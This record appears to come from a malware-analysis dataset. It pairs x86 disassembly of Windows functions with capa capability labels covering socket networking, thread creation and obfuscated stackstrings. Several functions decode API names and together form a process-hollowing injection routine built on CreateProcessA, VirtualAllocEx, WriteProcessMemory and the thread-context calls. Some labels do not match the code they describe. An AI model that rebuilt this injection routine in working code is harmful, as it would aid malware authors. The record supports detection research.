joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f30
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x40dd50], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.00407110
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x40dd50]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402330
call sub.kernel32.dll_GetCommandLineA
mov dword [0x409240], eax
mov ebx, eax
jmp 0x4070d3
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x406fb8
cmp byte [ebx], 0
je 0x4070dc
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x407033
mov al, byte [ebx]
cmp al, 1
jb 0x407028
sub al, 0x20
jbe 0x406ff8
sub al, 2
je 0x40700c
jmp 0x407028
mov al, byte [ebp - 0x114]
test al, al
je 0x407038
add dword [ebp - 0x110], 1
jmp 0x407030
cmp byte [ebx + 1], 0x22
je 0x407023
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x407030
add ebx, 1
jmp 0x407030
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x406fe8
test dword [ebp - 0x10c], 0xffffffff
je 0x4070cc
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.00407110
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x40dd50]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x4070c3
mov al, byte [ebx]
cmp al, 1
jb 0x4070b8
sub al, 0x20
jbe 0x407088
sub al, 2
je 0x40709c
jmp 0x4070b8
mov al, byte [ebp - 0x114]
test al, al
je 0x4070c8
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x4070c0
cmp byte [ebx + 1], 0x22
je 0x4070b3
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x4070c0
add ebx, 1
jmp 0x4070c0
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x407078
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x406fbb
mov ebx, dword [ebp - 0x10c]
mov dword [0x40dd40], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x40dd50
call fcn.00404fb0
mov eax, dword [0x40dd50]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [eax + 0x70], 0
mov dword [eax + 0x4c], ecx
jne 0x402a93
mov dword [eax + 0x70], 1
mov dword [eax + 0x54], ecx
mov edx, ecx
sub edx, dword [eax + 0x54]
cmp edx, 0x2710
jge 0x402aa8
cmp edx, 0xffffd8f0
jge 0x402aad
mov dword [eax + 0x54], ecx
jmp 0x402ab1
test edx, edx
js 0x402acc
mov edx, dword [eax + 0x50]
add dword [eax + 0x54], edx
push esi
push edi
mov edi, ecx
sub edi, dword [eax + 0x54]
pop edi
pop esi
js 0x402ac7
add edx, ecx
mov dword [eax + 0x54], edx
jmp fcn.00402490
ret

Function at 0x402c20
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x5d544c]
xor eax, esp
mov dword [esp + 0x198], eax
push edi
xor edi, edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi], vtable.CTcpSocket.0
mov dword [esi + 0x38], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 0x2c], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x4c], eax
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi + 0x58], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
lea ecx, [esi + 0x18]
push ecx
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x14], edi
pop edi
xor ecx, esp
mov dword [esi + 0x64], 0xffffffff
mov eax, esi
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
Function at 0x403230
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, eax
mov dword [ebp - 4], 0
cmp ebx, 0x40000
jl 0x40328d
jmp 0x403250
xor edi, edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x64]
push 0
push 0x40000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403271
inc edi
cmp edi, 0xf
jl 0x403252
cmp edi, 0xf
je 0x4032be
add dword [ebp - 4], eax
sub ebx, 0x40000
add esi, 0x40000
cmp ebx, 0x40000
jge 0x403250
test ebx, ebx
jle 0x4032b6
xor edi, edi
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x64]
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x4032ae
inc edi
cmp edi, 0xf
jl 0x403293
cmp edi, 0xf
je 0x4032be
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x4032c1
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4034c0
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, eax
mov eax, dword [esi + 0x198]
xor ebx, ebx
cmp eax, ebx
jne 0x4034e2
mov dword [esi + 0x1b8], 0x598
jmp 0x4034f9
cmp eax, 0x598
jbe 0x4034f3
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x1b8], eax
push edi
mov dword [esi + 0x64], ebx
call fcn.00403620
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, 1
push 0x5dfdb8
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], eax
mov dword [ebp - 8], ebx
call edi
mov dword [esi + 0x48], eax
cmp eax, ebx
jne 0x403538
push 0x5dfdb8
call edi
mov dword [esi + 0x48], eax
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
mov ebx, 0x40000
push ecx
mov dword [ebp - 4], ebx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push eax
mov dword [ebp - 4], ebx
call edi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
push edx
call fcn.004036b0
test eax, eax
je 0x4035cd
lea eax, [esi + 0x58]
push eax
push 0
push esi
push 0x403830
push 0
push 0
call fcn.0054b41a
add esp, 0x18
mov dword [esi + 0x54], eax
test eax, eax
je 0x4035bf
mov ecx, dword [esi + 0x2c]
push ecx
mov edi, 1
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x5c], 8
push 0x65f
jmp 0x4035db
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esi + 0x5c], 0xb
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
xor eax, eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 5
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, esi
call fcn.00403ed0
push edi
call ebx
mov edi, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4036b0
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5d544c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x11
push 2
xor edi, edi
push 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x4036f2
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054aaae
mov esp, ebp
pop ebp
ret 8
push edi
push edi
lea ecx, [ebp - 0x24]
push ecx
push edi
push edi
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x9800000c
push eax
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [esi + 0x40]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x1c]
push eax
push 0xfffffffffffffffb
push 0xffff
push ecx
call edi
mov eax, dword [esi + 0x40]
push 4
lea edx, [ebp - 0x1c]
push edx
push 4
push 0xffff
push eax
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push 0
push 0
push 0
push 0
push ebx
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x20], eax
inc eax
push eax
call fcn.0040e1dc
mov ecx, dword [ebp - 0x20]
add esp, 4
push 0
push 0
push ecx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, dword [ebp - 0x20]
push edi
mov byte [edi + edx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov ebx, eax
call fcn.0040e1e7
add esp, 4
test ebx, ebx
je 0x4036de
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov edx, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
push 0x30
push edx
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x403817
mov edx, dword [esi + 0x40]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x403810
cmp eax, 0xffffffff
jne 0x403807
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403810
mov dword [ebp - 0x18], 0
jmp 0x403817
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop edi
xor ecx, ebp
pop ebx
call fcn.0054aaae
mov esp, ebp
pop ebp
ret 8
Function at 0x403b90
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push edi
test eax, eax
jne 0x403bb3
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x40]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x403bcc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, 1
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], edi
xor eax, eax
pop edi
ret
lea eax, [esi + 0x19c]
push eax
lea ecx, [esi + 0x1d8]
mov edi, 1
push ecx
mov dword [esi + 0x60], edi
mov ecx, esi
mov eax, esi
mov dword [esi + 0x64], edi
call fcn.004049e0
mov edx, dword [esi + 0x40]
push 0
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x403c19
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403c19
test eax, eax
je 0x403c19
call fcn.0040e2fa
mov eax, edi
pop edi
ret

Function at 0x403c20
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
lea esp, [esp]
mov eax, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x40]
push 0
push 0x598
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
jle 0x403ce6
cmp edi, 0x10
jne 0x403c78
mov edx, dword [ebx + 0x70]
mov ecx, eax
mov eax, 0x5a93b0
sub edx, eax
cmp ecx, 4
jb 0x403d1e
mov esi, dword [edx + eax]
cmp esi, dword [eax]
jne 0x403c78
sub ecx, 4
add eax, 4
jmp 0x403c60
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebx + 0x1c0]
mov edx, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea esi, [ebx + 0x1d8]
cmp edi, 0x18
jl 0x403ca6
push ecx
push edi
push eax
mov edi, edx
call fcn.00404ee0
jmp 0x403cb0
cmp edi, 0xc
jne 0x403d14
call fcn.00404d90
cmp eax, 2
jne 0x403c30
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x403cc8
mov eax, 0x4c7
mov ecx, 1
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x34], 4
pop edi
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x38], eax
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
cmp edi, 0xffffffff
jne 0x403c30
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403d3b
cmp eax, 0x2744
je 0x403c30
cmp eax, 0x2746
je 0x403c30
jmp 0x403cc8
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
jmp 0x403cb9
xor eax, eax
pop edi
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
mov dword [ebx + 0x3c], eax
pop esi
mov dword [ebx + 0x38], eax
pop ebx
pop ebp
ret 4
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
Function at 0x403d50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ebx
push edi
jmp 0x403d60
mov eax, dword [esi + 0x194]
test eax, eax
jle 0x403e8a
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [esi + 0x17c]
cmp ebx, dword [esi + 0x180]
je 0x403d9b
mov eax, dword [ebx + 4]
mov dword [esi + 0x17c], eax
mov dword [eax + 8], 0
jmp 0x403dad
test ebx, ebx
je 0x403dad
xor eax, eax
mov dword [esi + 0x17c], eax
mov dword [esi + 0x180], eax
xor eax, eax
cmp ebx, eax
je 0x403dbf
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
dec dword [esi + 0x178]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x403e8a
mov ecx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x18]
push 0
sub eax, ecx
push eax
push ecx
mov ecx, dword [esi + 0x40]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jle 0x403e0c
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [esi + 0x194], edi
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x403e11
cmp edi, 0xffffffff
je 0x403e37
push ebx
lea edi, [esi + 0x98]
call fcn.004013a0
test eax, eax
jne 0x403d60
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x403d60
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x403e95
lea edi, [esi + 0x160]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x17c]
xor ecx, ecx
cmp eax, ecx
je 0x403e6b
mov dword [eax + 8], ebx
mov ecx, dword [esi + 0x17c]
mov dword [ebx + 4], ecx
jmp 0x403e77
mov dword [ebx + 8], ecx
mov dword [ebx + 4], ecx
mov dword [esi + 0x180], ebx
inc dword [esi + 0x178]
push edi
mov dword [esi + 0x17c], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 1
push ebx
lea edi, [esi + 0x98]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], 3
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], ecx
call fcn.004013a0
test eax, eax
jne 0x403ec7
mov edx, dword [ebx]
push ebx
push eax
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403ed0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x403fb8
lea edi, [esi + 0x15c]
push edi
call fcn.00402b50
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x403f08
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x403fb2
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.004040d0
mov eax, dword [esi + 0x60]
test eax, eax
je 0x403f43
cmp dword [esi + 0x3c], 0
je 0x403f3c
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x5a93b0
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x403f6b
mov edx, dword [esi + 0x48]
push edx
call fcn.0040b620
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x403f80
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x403fa2
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.00403fd0
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x404390
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push str.kernel32.dll
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x5a9470
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea edi, [esi + 0x18]
push edi
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov edx, dword [esi + 0x64]
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
mov word [esi + 0x28], 0xca
cmp edx, 3
je 0x4043f2
mov eax, esi
call fcn.00403ed0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
mov eax, esi
call fcn.004034c0
mov ebx, dword [ebp + 0xc]
push 0x1770
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x404432
cmp eax, 0x102
je 0x404420
cmp eax, 0xffffffff
jne 0x404427
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x404470
push 0
push 0
call fcn.0054b41a
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x408440
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x5d544c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
mov dword [ebp - 0x58], 0x44
call fcn.0054c4c0
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
xor ecx, ecx
mov al, 0x65
push 0x5ab080
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], cx
mov dword [ebp - 0x14], 0x61657243
mov dword [ebp - 0x10], 0x72506574
mov word [ebp - 0xc], 0x636f
mov byte [ebp - 0xa], al
mov dword [ebp - 9], 0x417373
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054aaae
mov esp, ebp
pop ebp
ret

Function at 0x4084d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x5d544c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x5ab080
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov word [ebp - 8], 0x7845
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
push esi
call eax
test eax, eax
jne 0x408539
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
push 0
push edi
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
Function at 0x408560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x5d544c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push 0x2c8
lea ecx, [ebp - 0x304]
push 0
push ecx
mov dword [ebp - 0x30c], eax
call fcn.0054c4c0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
push 0x5ab080
mov dword [ebp - 0x308], 0x10007
mov bl, 0x65
mov dword [ebp - 0x28], 0x54746547
mov dword [ebp - 0x24], 0x61657268
mov dword [ebp - 0x20], 0x6e6f4364
mov dword [ebp - 0x1c], 0x74786574
mov byte [ebp - 0x18], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x308]
push ecx
push edx
call eax
test eax, eax
jne 0x4085fb
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x30c]
lea ecx, [ebp - 0x3c]
push ecx
push 0x5ab080
mov dword [ebp - 0x250], eax
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], bl
mov dword [ebp - 0x3a], 0x72685474
mov byte [ebp - 0x36], bl
mov dword [ebp - 0x35], 0x6f436461
mov word [ebp - 0x31], 0x746e
mov byte [ebp - 0x2f], bl
mov word [ebp - 0x2e], 0x7478
mov byte [ebp - 0x2c], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 4]
lea edx, [ebp - 0x308]
push edx
push ecx
call eax
test eax, eax
je 0x4085e9
lea edx, [ebp - 0x14]
push edx
push 0x5ab080
mov byte [ebp - 0x14], 0x52
mov byte [ebp - 0x13], bl
mov word [ebp - 0x12], 0x7573
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], bl
mov word [ebp - 0xe], 0x6854
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], bl
mov word [ebp - 0xa], 0x6461
mov byte [ebp - 8], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 4]
push ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
Function at 0x4086b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x5d544c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [0x5de9d4]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0xfe
lea edx, [ebp - 0x127]
push 0
push edx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x130], ecx
mov byte [ebp - 0x128], 0
call fcn.0054c4c0
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push 0x5ab080
mov dword [ebp - 0x28], 0x53746547
mov dword [ebp - 0x24], 0x65747379
mov dword [ebp - 0x20], 0x7269446d
mov dword [ebp - 0x1c], 0x6f746365
mov dword [ebp - 0x18], 0x417972
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xff
lea ecx, [ebp - 0x128]
push ecx
call eax
mov edi, ebx
lea esi, [ebp - 0x128]
mov byte [ebp - 0x125], 0
call fcn.00408440
test eax, eax
je 0x4087e9
lea edx, [ebp - 0x14]
push edx
push 0x5ab080
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov word [ebp - 8], 0x7845
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp - 0x12c]
mov ecx, dword [ebx]
push 0x40
push 0x3000
push edi
push 0
push ecx
call eax
mov dword [ebp - 0x12c], eax
test eax, eax
je 0x4087e9
mov edx, dword [ebp - 0x130]
mov esi, dword [ebx]
push edx
call fcn.004084d0
add esp, 4
test eax, eax
je 0x4087e9
mov eax, dword [ebp - 0x12c]
push eax
mov esi, ebx
call fcn.00408560
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054aaae
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0054aaae
mov esp, ebp
pop ebp
ret

Function at 0x408db0
Capabilities:
Query or enumerate registry value

Disassembly:
cmp byte [0x5dfdbc], 0
jne 0x408e88
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj9_.5_.4202:zb0.1:bb
mov byte [0x5dfdbc], 1
call fcn.0054ba08
push 0x12a0
push 0
push 0x5de9d8
call fcn.0054c4c0
push 0
push 0x5de9f6
push 0x5ab1d8
call fcn.00408b90
push 0
push 0x5debf4
push 0x5ab1e0
call fcn.00408b90
push 0x5dec30
push 0
push 0x5ab1e8
call fcn.00408b90
push 0
push 0x5dec34
push 0x5ab1f0
call fcn.00408b90
add esp, 0x40
push 0
push 0x5dee32
push 0x5ab1f8
call fcn.00408b90
push 0x5dee70
push 0
push 0x5ab200
call fcn.00408b90
push 0
push 0x5dee74
push 0x5ab208
call fcn.00408b90
push 0
push 0x5df072
push 0x5ab210
call fcn.00408b90
push 0x5df0b0
push 0
push 0x5ab218
call fcn.00408b90
add esp, 0x3c
mov eax, 0x5de9d8
jmp fcn.00408c70
ret